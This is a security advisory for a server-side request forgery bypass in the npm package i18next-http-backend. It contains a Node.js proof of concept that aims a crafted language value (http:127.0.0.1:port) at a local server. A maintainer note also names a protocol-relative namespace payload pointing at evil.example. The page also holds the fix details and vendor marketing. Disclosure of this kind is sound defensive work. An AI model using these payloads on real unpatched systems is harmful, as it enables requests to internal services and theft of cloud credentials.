Summary
i18next-http-backend incomplete URL validation permits SSRF
There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.
This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.
Proof of Concept
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");
function read(backend, lng, ns) {
return new Promise((resolve) => {
backend.read(lng, ns, (err) => resolve(err));
});
}
async function main() {
let gotRequest = false;
const server = http.createServer((req, res) => {
gotRequest = req.url === "/common.json";
res.writeHead(200, { "content-type": "application/json" });
res.end("{}");
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
const lng = `http:127.0.0.1:${server.address().port}`;
const err = await read(backend, lng, "common");
server.close();
const vulnerable = gotRequest && !err;
console.log(vulnerable ? "VULNERABLE" : "SAFE");
if (!vulnerable) process.exitCode = 1;
}
main();
Run:
npm install --ignore-scripts
node poc.js
The expected result is:
VULNERABLE
Why the Previous Patch Was Incomplete
This vulnerability is caused by an incomplete patch for CVE-2026-41691. The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.
The following bypass remains in the current release: lng=http:127.0.0.1: with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.
Maintainer note
Confirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).
Preconditions. The bypass only works when the loadPath / addPath template begins directly with {{lng}} or {{ns}}, no origin and no leading /, e.g. {{lng}}/{{ns}}.json. Only in that position is http: parsed as a URL scheme. The default /locales/{{lng}}/{{ns}}.json and every template with a leading path or origin are not affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an ns value such as //evil.example/x to become a protocol-relative URL in browsers.
Fix. : is now rejected in both lng and ns values, and // in ns values. No BCP-47 language code contains a colon, and : is i18next's default namespace separator, so no usable namespace name does either.
Affected range. Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is < 4.0.2 rather than >= 3.0.5, <= 4.0.1.
Impact
The attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-105800 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Parse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.
Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.
Frequently Asked Questions
- What is CVE-2026-105800? CVE-2026-105800 is a low-severity server-side request forgery (SSRF) vulnerability in i18next-http-backend (npm), affecting versions < 4.0.2. It is fixed in 4.0.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-105800? CVE-2026-105800 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of i18next-http-backend are affected by CVE-2026-105800? i18next-http-backend (npm) versions < 4.0.2 is affected.
- Is there a fix for CVE-2026-105800? Yes. CVE-2026-105800 is fixed in 4.0.2. Upgrade to this version or later.
- Is CVE-2026-105800 exploitable, and should I be worried? Whether CVE-2026-105800 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-105800 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-105800? Upgrade
i18next-http-backendto 4.0.2 or later.